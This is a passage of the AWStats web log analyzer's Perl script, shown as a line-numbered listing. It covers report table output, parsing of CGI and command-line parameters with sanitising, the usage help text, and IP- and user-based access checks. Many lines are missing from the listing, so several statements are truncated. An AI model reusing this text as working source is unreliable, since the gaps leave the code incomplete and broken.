. Format_Bytes( $_emailr_k{$key} ) . "</td>";
9378
if ( $ShowEMailReceivers =~ /M/i ) {
9379
print "<td nowrap=\"nowrap\">"
9380
. Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) )
9383
if ( $ShowEMailReceivers =~ /L/i ) {
9384
print "<td nowrap=\"nowrap\">"
9385
. ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' )
9390
#$total_p += $_emailr_p{$key};
9391
$total_h += $_emailr_h{$key};
9392
$total_k += $_emailr_k{$key};
9395
$rest_p = 0; # $rest_p=$TotalPages-$total_p;
9396
$rest_h = $TotalHits - $total_h;
9397
$rest_k = $TotalBytes - $total_k;
9398
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
9399
{ # All other receiver emails
9401
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9402
if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; }
9403
if ( $ShowEMailReceivers =~ /B/i ) {
9404
print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9406
if ( $ShowEMailReceivers =~ /M/i ) {
9407
print "<td nowrap=\"nowrap\">"
9408
. Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9410
if ( $ShowEMailReceivers =~ /L/i ) { print "<td> </td>"; }
9416
#------------------------------------------------------------------------------
9418
#------------------------------------------------------------------------------
9419
( $DIR = $0 ) =~ s/([^\/\\]+)$//;
9420
( $PROG = $1 ) =~ s/\.([^\.]*)$//;
9423
$DIR =~ s/([^\/\\])[\\\/]+$/$1/;
9425
$starttime = time();
9427
# Get current time (time when AWStats was started)
9428
( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday )
9429
= localtime($starttime);
9430
$nowweekofmonth = int( $nowday / 7 );
9432
int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1;
9433
if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; }
9434
$nowdaymod = $nowday % 7;
9436
$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear );
9438
if ( $nowdaymod <= $nowwday ) {
9439
if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) {
9440
$nowweekofmonth = $nowweekofmonth + 1;
9443
if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; }
9445
# Change format of time variables
9446
$nowweekofmonth = "0$nowweekofmonth";
9447
if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; }
9448
if ( $nowyear < 100 ) { $nowyear += 2000; }
9449
else { $nowyear += 1900; }
9450
$nowsmallyear = $nowyear;
9451
$nowsmallyear =~ s/^..//;
9452
if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; }
9453
if ( $nowday < 10 ) { $nowday = "0$nowday"; }
9454
if ( $nowhour < 10 ) { $nowhour = "0$nowhour"; }
9455
if ( $nowmin < 10 ) { $nowmin = "0$nowmin"; }
9456
if ( $nowsec < 10 ) { $nowsec = "0$nowsec"; }
9457
$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec );
9459
# Get tomorrow time (will be used to discard some record with corrupted date (future date))
9461
$tomorrowsec, $tomorrowmin, $tomorrowhour,
9462
$tomorrowday, $tomorrowmonth, $tomorrowyear
9464
= localtime( $starttime + 86400 );
9465
if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
9466
else { $tomorrowyear += 1900; }
9467
if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; }
9468
if ( $tomorrowday < 10 ) { $tomorrowday = "0$tomorrowday"; }
9469
if ( $tomorrowhour < 10 ) { $tomorrowhour = "0$tomorrowhour"; }
9470
if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; }
9471
if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; }
9481
my @AllowedCLIArgs = (
9482
'migrate', 'config',
9483
'logfile', 'output',
9484
'runascli', 'update',
9485
'staticlinks', 'staticlinksext',
9486
'noloadplugin', 'loadplugin',
9487
'hostfilter', 'urlfilter',
9488
'refererpagesfilter', 'lang',
9490
'framename', 'debug',
9491
'showsteps', 'showdropped',
9492
'showcorrupted', 'showunknownorigin',
9493
'showdirectorigin', 'limitflush',
9494
'confdir', 'updatefor',
9495
'hostfilter', 'hostfilterex',
9496
'urlfilter', 'urlfilterex',
9497
'refererpagesfilter', 'refererpagesfilterex',
9498
'pluginmode', 'filterrawlog'
9501
# Parse input parameters and sanitize them for security reasons
9504
# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
9505
# be set to force AWStats to be ran as CLI even from a web page.
9506
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; }
9507
if ( $ENV{'GATEWAY_INTERFACE'} ) { # Run from a browser as CGI
9510
# Prepare QueryString
9511
if ( $ENV{'CONTENT_LENGTH'} ) {
9513
read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} );
9515
if ( $ENV{'QUERY_STRING'} ) {
9516
$QueryString = $ENV{'QUERY_STRING'};
9518
# Set & and & to &
9519
$QueryString =~ s/&/&/g;
9520
$QueryString =~ s/&/&/g;
9523
# Remove all XSS vulnerabilities coming from AWStats parameters
9524
$QueryString = CleanXSS( &DecodeEncodedString($QueryString) );
9527
if ( $QueryString =~ /LogFile=([^&]+)/i ) {
9529
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
9533
# No update but report by default when run from a browser
9534
$UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 );
9536
if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
9537
if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
9538
if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
9539
$PluginMode = &Sanitize( "$1", 1 );
9541
if ( $QueryString =~ /configdir=([^&]+)/i ) {
9542
$DirConfig = &Sanitize("$1");
9546
if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
9547
$FilterIn{'host'} = "$1";
9548
} # Filter on host list can also be defined with hostfilter=filter
9549
if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
9550
$FilterEx{'host'} = "$1";
9552
if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
9553
$FilterIn{'url'} = "$1";
9554
} # Filter on URL list can also be defined with urlfilter=filter
9555
if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
9556
if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
9557
$FilterIn{'refererpages'} = "$1";
9558
} # Filter on referer list can also be defined with refererpagesfilter=filter
9559
if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
9560
$FilterEx{'refererpages'} = "$1";
9563
if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
9564
$FilterIn{'host'} = "$1";
9565
} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
9566
if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
9567
$FilterIn{'host'} = "$1";
9568
} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
9569
if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
9570
$FilterIn{'url'} = "$1";
9571
} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
9572
if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
9573
$FilterIn{'refererpages'} = "$1";
9574
} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
9577
if ( $QueryString =~ /(^|-|&|&)migrate=([^&]+)/i ) {
9578
$MigrateStats = &Sanitize("$2");
9579
$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
9580
$SiteConfig = $5 ? $5 : 'xxx';
9581
$SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
9584
else { # Run from command line
9587
# Prepare QueryString
9588
for ( 0 .. @ARGV - 1 ) {
9591
if ( $ARGV[$_] =~ /(^|-|&|&)migrate=([^&]+)/i ) {
9592
$MigrateStats = "$2";
9593
$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
9594
$SiteConfig = $5 ? $5 : 'xxx';
9595
$SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
9599
# TODO Check if ARGV is in @AllowedArg
9600
if ($QueryString) { $QueryString .= '&'; }
9601
my $NewLinkParams = $ARGV[$_];
9602
$NewLinkParams =~ s/^-+//;
9603
$QueryString .= "$NewLinkParams";
9606
# Remove all XSS vulnerabilities coming from AWStats parameters
9607
$QueryString = CleanXSS($QueryString);
9610
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
9611
&& $QueryString =~ /LogFile=([^&]+)/i )
9614
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
9618
# Update with no report by default when run from command line
9621
if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
9622
if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
9623
if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
9624
$PluginMode = &Sanitize( "$1", 1 );
9626
if ( $QueryString =~ /configdir=([^&]+)/i ) {
9627
$DirConfig = &Sanitize("$1");
9631
if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
9632
$FilterIn{'host'} = "$1";
9633
} # Filter on host list can also be defined with hostfilter=filter
9634
if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
9635
$FilterEx{'host'} = "$1";
9637
if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
9638
$FilterIn{'url'} = "$1";
9639
} # Filter on URL list can also be defined with urlfilter=filter
9640
if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
9641
if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
9642
$FilterIn{'refererpages'} = "$1";
9643
} # Filter on referer list can also be defined with refererpagesfilter=filter
9644
if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
9645
$FilterEx{'refererpages'} = "$1";
9648
if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
9649
$FilterIn{'host'} = "$1";
9650
} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
9651
if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
9652
$FilterIn{'host'} = "$1";
9653
} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
9654
if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
9655
$FilterIn{'url'} = "$1";
9656
} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
9657
if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
9658
$FilterIn{'refererpages'} = "$1";
9659
} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
9661
if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; }
9664
if ( $QueryString =~ /showsteps/i ) {
9666
$QueryString =~ s/showsteps[^&]*//i;
9668
if ( $QueryString =~ /showcorrupted/i ) {
9670
$QueryString =~ s/showcorrupted[^&]*//i;
9672
if ( $QueryString =~ /showdropped/i ) {
9674
$QueryString =~ s/showdropped[^&]*//i;
9676
if ( $QueryString =~ /showunknownorigin/i ) {
9677
$ShowUnknownOrigin = 1;
9678
$QueryString =~ s/showunknownorigin[^&]*//i;
9680
if ( $QueryString =~ /showdirectorigin/i ) {
9681
$ShowDirectOrigin = 1;
9682
$QueryString =~ s/showdirectorigin[^&]*//i;
9685
if ( $QueryString =~ /(^|&|&)staticlinks/i ) {
9686
$StaticLinks = ".$SiteConfig";
9688
if ( $QueryString =~ /(^|&|&)staticlinks=([^&]+)/i ) {
9689
$StaticLinks = ".$2";
9690
} # When ran from awstatsbuildstaticpages.pl
9691
if ( $QueryString =~ /(^|&|&)staticlinksext=([^&]+)/i ) {
9694
if ( $QueryString =~ /(^|&|&)framename=([^&]+)/i ) { $FrameName = "$2"; }
9695
if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { $Debug = $2; }
9696
if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i ) {
9697
$DatabaseBreak = $2;
9699
if ( $QueryString =~ /(^|&|&)updatefor=(\d+)/i ) { $UpdateFor = $2; }
9701
if ( $QueryString =~ /(^|&|&)noloadplugin=([^&]+)/i ) {
9702
foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; }
9704
if ( $QueryString =~ /(^|&|&)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; }
9707
if ( $QueryString =~
9708
/(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i )
9710
error( "Only 1 output option is allowed", "", "", 1 );
9712
if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(&|$)/i ) {
9714
# At least one output expected. We define %HTMLOutput
9715
my $outputlist = "$2";
9717
$outputlist =~ s/^=//;
9718
foreach my $outputparam ( split( /,/, $outputlist ) ) {
9719
$outputparam =~ s/:(.*)$//;
9720
if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; }
9724
# If on command line and no update
9725
if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) {
9729
# If no output defined, used default value
9730
if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; }
9732
if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) {
9733
$HTMLOutput{'main'} = 1;
9736
# Remove -output option with no = from QueryString
9737
$QueryString =~ s/(^|&|&)output(&|$)/$1$2/i;
9738
$QueryString =~ s/&+$//;
9740
# Check year, month, day, hour parameters
9741
if ( $QueryString =~ /(^|&|&)month=(year)/i ) {
9742
error("month=year is a deprecated option. Use month=all instead.");
9744
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
9745
$YearRequired = sprintf( "%04d", $2 );
9747
else { $YearRequired = "$nowyear"; }
9748
if ( $QueryString =~ /(^|&|&)month=(\d{1,2})/i ) {
9749
$MonthRequired = sprintf( "%02d", $2 );
9751
elsif ( $QueryString =~ /(^|&|&)month=(all)/i ) { $MonthRequired = 'all'; }
9752
else { $MonthRequired = "$nowmonth"; }
9753
if ( $QueryString =~ /(^|&|&)day=(\d{1,2})/i ) {
9754
$DayRequired = sprintf( "%02d", $2 );
9755
} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
9756
else { $DayRequired = ''; }
9757
if ( $QueryString =~ /(^|&|&)hour=(\d{1,2})/i ) {
9758
$HourRequired = sprintf( "%02d", $2 );
9759
} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
9760
else { $HourRequired = ''; }
9762
# Check parameter validity
9765
# Print AWStats and Perl version
9767
debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 );
9768
debug( "DIR=$DIR PROG=$PROG Extension=$Extension", 2 );
9769
debug( "QUERY_STRING=$QueryString", 2 );
9770
debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 );
9771
debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
9772
debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 );
9773
debug( "UpdateFor=$UpdateFor", 2 );
9774
debug( "PluginMode=$PluginMode", 2 );
9775
debug( "DirConfig=$DirConfig", 2 );
9778
# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
9779
if ( $ENV{'AWSTATS_CONFIG'} ) {
9780
$ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'};
9781
} # For backward compatibility
9782
if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
9784
debug( "AWSTATS_FORCE_CONFIG parameter is defined to '"
9785
. $ENV{'AWSTATS_FORCE_CONFIG'}
9786
. "'. $PROG will use this as config value." );
9788
$SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
9791
if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
9793
'browsers', 'domains', 'operating_systems', 'robots',
9794
'search_engines', 'worms'
9796
print "----- $PROG $VERSION (c) 2000-2009 Laurent Destailleur -----\n";
9798
"AWStats is a free web server logfile analyzer to show you advanced web\n";
9799
print "statistics.\n";
9801
"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
9802
print "with a GNU General Public License (See LICENSE file for details).\n";
9804
print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
9807
" This runs $PROG in command line to update statistics (-update option) of a\n";
9809
" web site, from the log file defined in AWStats config file, or build a HTML\n";
9810
print " report (-output option).\n";
9812
" First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
9813
print " If not found, $PROG tries to read $PROG.conf\n";
9815
" Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
9817
" in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
9818
print " awstats.pl script file.\n";
9820
" Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
9822
" use it as the \"config\" value, whatever is the value on command line or URL.\n";
9823
print " See AWStats documentation for all setup instrutions.\n";
9825
print "Options to update statistics:\n";
9826
print " -update to update statistics (default)\n";
9828
" -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
9830
" -showcorrupted to add output for each corrupted lines found, with reason\n";
9832
" -showdropped to add output for each dropped lines found, with reason\n";
9833
print " -showunknownorigin to output referer when it can't be parsed\n";
9835
" -showdirectorigin to output log line when origin is a direct access\n";
9836
print " -updatefor=n to stop the update process after parsing n lines\n";
9838
" -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n";
9840
" Be care to process log files in chronological order when updating statistics.\n";
9842
print "Options to show statistics:\n";
9844
" -output to output main HTML report (no update made except with -update)\n";
9845
print " -output=x to output other report pages where x is:\n";
9847
" alldomains to build page of all domains/countries\n";
9848
print " allhosts to build page of all hosts\n";
9850
" lasthosts to build page of last hits for hosts\n";
9852
" unknownip to build page of all unresolved IP\n";
9854
" allemails to build page of all email senders (maillog)\n";
9856
" lastemails to build page of last email senders (maillog)\n";
9858
" allemailr to build page of all email receivers (maillog)\n";
9860
" lastemailr to build page of last email receivers (maillog)\n";
9861
print " alllogins to build page of all logins used\n";
9863
" lastlogins to build page of last hits for logins\n";
9865
" allrobots to build page of all robots/spider visits\n";
9867
" lastrobots to build page of last hits for robots\n";
9868
print " urldetail to list most often viewed pages \n";
9870
" urldetail:filter to list most often viewed pages matching filter\n";
9871
print " urlentry to list entry pages\n";
9873
" urlentry:filter to list entry pages matching filter\n";
9874
print " urlexit to list exit pages\n";
9876
" urlexit:filter to list exit pages matching filter\n";
9878
" osdetail to build page with os detailed versions\n";
9880
" browserdetail to build page with browsers detailed versions\n";
9882
" unknownbrowser to list 'User Agents' with unknown browser\n";
9884
" unknownos to list 'User Agents' with unknown OS\n";
9886
" refererse to build page of all refering search engines\n";
9888
" refererpages to build page of all refering pages\n";
9890
#print " referersites to build page of all refering sites\n";
9892
" keyphrases to list all keyphrases used on search engines\n";
9894
" keywords to list all keywords used on search engines\n";
9895
print " errors404 to list 'Referers' for 404 errors\n";
9897
" allextraX to build page of all values for ExtraSection X\n";
9898
print " -staticlinks to have static links in HTML report page\n";
9900
" -staticlinksext=xxx to have static links with .xxx extension instead of .html\n";
9902
" -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
9903
print " -month=MM to output a HTML report for an old month MM\n";
9904
print " -year=YYYY to output a HTML report for an old year YYYY\n";
9906
" Those 'date' options doesn't allow you to process old log file. They only\n";
9908
" allow you to see a past report for a chosen month/year period instead of\n";
9909
print " current month/year.\n";
9911
print "Other options:\n";
9913
" -debug=X to add debug informations lesser than level X (speed reduced)\n";
9915
print "Now supports/detects:\n";
9917
" Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
9918
print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
9919
print " Number of visits, number of unique visitors\n";
9920
print " Visits duration and list of last visits\n";
9921
print " Authenticated users\n";
9922
print " Days of week and rush hours\n";
9923
print " Hosts list and unresolved IP addresses list\n";
9924
print " Most viewed, entry and exit pages\n";
9925
print " Files type and Web compression (mod_gzip, mod_deflate stats)\n";
9926
print " Screen size\n";
9927
print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
9928
print " Quicktime reader, WMA reader, PDF reader\n";
9929
print " Configurable personalized reports\n";
9930
print " " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n";
9931
print " " . ( scalar keys %RobotsHashIDLib ) . " robots\n";
9932
print " " . ( scalar keys %WormsHashLib ) . " worm's families\n";
9933
print " " . ( scalar keys %OSHashLib ) . " operating systems\n";
9934
print " " . ( scalar keys %BrowsersHashIDLib ) . " browsers";
9935
&Read_Ref_Data('browsers_phone');
9937
. ( scalar keys %BrowsersHashIDLib )
9938
. " with phone browsers database)\n";
9940
. ( scalar keys %SearchEnginesHashLib )
9941
. " search engines (and keyphrases/keywords used from them)\n";
9942
print " All HTTP errors with last referrer\n";
9943
print " Report by day/month/year\n";
9944
print " Dynamic or static HTML or XHTML reports, static PDF reports\n";
9945
print " Indexed text or XML monthly database\n";
9946
print " And a lot of other advanced features and options...\n";
9947
print "New versions and FAQ at http://awstats.sourceforge.net\n";
9950
$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} );
9952
#$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI.
9953
$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig;
9955
# Read config file (SiteConfig must be defined)
9956
&Read_Config($DirConfig);
9959
if ( $QueryString =~ /(^|&|&)lang=([^&]+)/i ) { $Lang = "$2"; }
9960
if ( !$Lang || $Lang eq 'auto' ) { # If lang not defined or forced to auto
9961
my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || '';
9962
$langlist =~ s/;[^,]*//g;
9965
"Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
9969
foreach my $code ( split( /,/, $langlist ) )
9970
{ # Search for a valid lang in priority
9971
if ( $LangBrowserToLangAwstats{$code} ) {
9972
$Lang = $LangBrowserToLangAwstats{$code};
9973
if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
9977
if ( $LangBrowserToLangAwstats{$code} ) {
9978
$Lang = $LangBrowserToLangAwstats{$code};
9979
if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
9984
if ( !$Lang || $Lang eq 'auto' ) {
9986
debug( " No language defined or available. Will use Lang=en", 1 );
9991
# Check and correct bad parameters
9994
# Now SiteDomain is defined
9996
if ( $Debug && !$DebugMessages ) {
9998
"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
10002
# Define frame name and correct variable for frames
10003
if ( !$FrameName ) {
10004
if ( $ENV{'GATEWAY_INTERFACE'}
10005
&& $UseFramesWhenCGI
10006
&& $HTMLOutput{'main'}
10009
$FrameName = 'index';
10011
else { $FrameName = 'main'; }
10014
# Load Message files, Reference data files and Plugins
10015
if ($Debug) { debug( "FrameName=$FrameName", 1 ); }
10016
if ( $FrameName ne 'index' ) {
10017
&Read_Language_Data($Lang);
10018
if ( $FrameName ne 'mainleft' ) {
10019
my %datatoload = ();
10021
$filedomains, $filemime, $filerobots, $fileworms,
10022
$filebrowser, $fileos, $filese
10027
'browsers', 'operating_systems',
10030
my ( $filestatushttp, $filestatussmtp ) =
10031
( 'status_http', 'status_smtp' );
10032
if ( $LevelForBrowsersDetection eq 'allphones' ) {
10033
$filebrowser = 'browsers_phone';
10035
if ($UpdateStats) { # If update
10036
if ( $LevelForFileTypesDetection < 2 ) {
10037
$datatoload{$filemime} = 1;
10038
} # Only if need to filter on known extensions
10039
if ($LevelForRobotsDetection) {
10040
$datatoload{$filerobots} = 1;
10042
if ($LevelForWormsDetection) {
10043
$datatoload{$fileworms} = 1;
10045
if ($LevelForBrowsersDetection) {
10046
$datatoload{$filebrowser} = 1;
10048
if ($LevelForOSDetection) {
10049
$datatoload{$fileos} = 1;
10051
if ($LevelForRefererAnalyze) {
10052
$datatoload{$filese} = 1;
10054
# if (...) { $datatoload{'referer_spam'}=1; }
10056
if ( scalar keys %HTMLOutput ) { # If output
10057
if ( $ShowDomainsStats || $ShowHostsStats ) {
10058
$datatoload{$filedomains} = 1;
10059
} # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
10060
if ($ShowFileTypesStats) { $datatoload{$filemime} = 1; }
10061
if ($ShowRobotsStats) { $datatoload{$filerobots} = 1; }
10062
if ($ShowWormsStats) { $datatoload{$fileworms} = 1; }
10063
if ($ShowBrowsersStats) { $datatoload{$filebrowser} = 1; }
10064
if ($ShowOSStats) { $datatoload{$fileos} = 1; }
10065
if ($ShowOriginStats) { $datatoload{$filese} = 1; }
10066
if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; }
10067
if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; }
10069
&Read_Ref_Data( keys %datatoload );
10074
# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
10075
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
10077
} # Run from a browser as CGI
10079
# Init other parameters
10080
$NBOFLINESFORBENCHMARK--;
10081
if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; }
10082
if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) {
10085
if ( !$DirData || $DirData =~ /^\./ ) {
10086
if ( !$DirData || $DirData eq '.' ) {
10088
} # If not defined or chosen to '.' value then DirData is current dir
10089
elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
10091
$DirData ||= '.'; # If current dir not defined then we put it to '.'
10092
$DirData =~ s/[\\\/]+$//;
10094
if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); }
10095
else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); }
10097
# Should we link to ourselves or to a wrapper script
10098
$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" );
10100
# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
10101
if ( !$HeaderHTMLSent ) { &html_head; }
10103
# AWStats output is replaced by a plugin output
10106
# my $function="BuildFullHTMLOutput_$PluginMode()";
10107
# eval("$function");
10108
my $function = "BuildFullHTMLOutput_$PluginMode";
10110
if ( $? || $@ ) { error("$@"); }
10116
if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} )
10118
if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
10119
if ( !$ENV{"REMOTE_USER"} ) {
10121
"Access to statistics is only allowed from an authenticated session to authenticated users."
10124
if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
10125
my $userisinlist = 0;
10126
my $remoteuser = quotemeta( $ENV{"REMOTE_USER"} );
10127
$remoteuser =~ s/\s/%20/g
10128
; # Allow authenticated user with space in name to be compared to allowed user list
10129
my $currentuser = qr/^$remoteuser$/i; # Set precompiled regex
10130
foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
10131
if (/$currentuser/o) { $userisinlist = 1; last; }
10133
if ( !$userisinlist ) {
10135
. $ENV{"REMOTE_USER"}
10136
. "' is not allowed to access statistics of this domain/config."
10141
if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) {
10142
my $IPAddress = $ENV{"REMOTE_ADDR"}; # IPv4 or IPv6
10143
my $useripaddress = &Convert_IP_To_Decimal($IPAddress);
10144
my @allowaccessfromipaddresses =
10145
split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses );
10146
my $allowaccess = 0;
10147
foreach my $ipaddressrange (@allowaccessfromipaddresses) {
10148
if ( $ipaddressrange !~
10149
/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
10150
&& $ipaddressrange !~
10151
/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
10154
"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
10159
if ( $ipaddressrange =~
10160
/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
10162
my $ipmin = &Convert_IP_To_Decimal($1);
10163
my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
10165
# Is it an authorized ip ?
10166
if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) )
10174
if ( $ipaddressrange =~
10175
/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
10177
if ( $ipaddressrange =~ /::\// ) {
10178
my @IPv6split = split( /::/, $ipaddressrange );
10179
if ( $IPAddress =~ /^$IPv6split[0]/ ) {
10184
elsif ( $ipaddressrange == $IPAddress ) {
10190
if ( !$allowaccess ) {
10191
error( "Access to statistics is not allowed from your IP Address "
10192
. $ENV{"REMOTE_ADDR"} );
10195
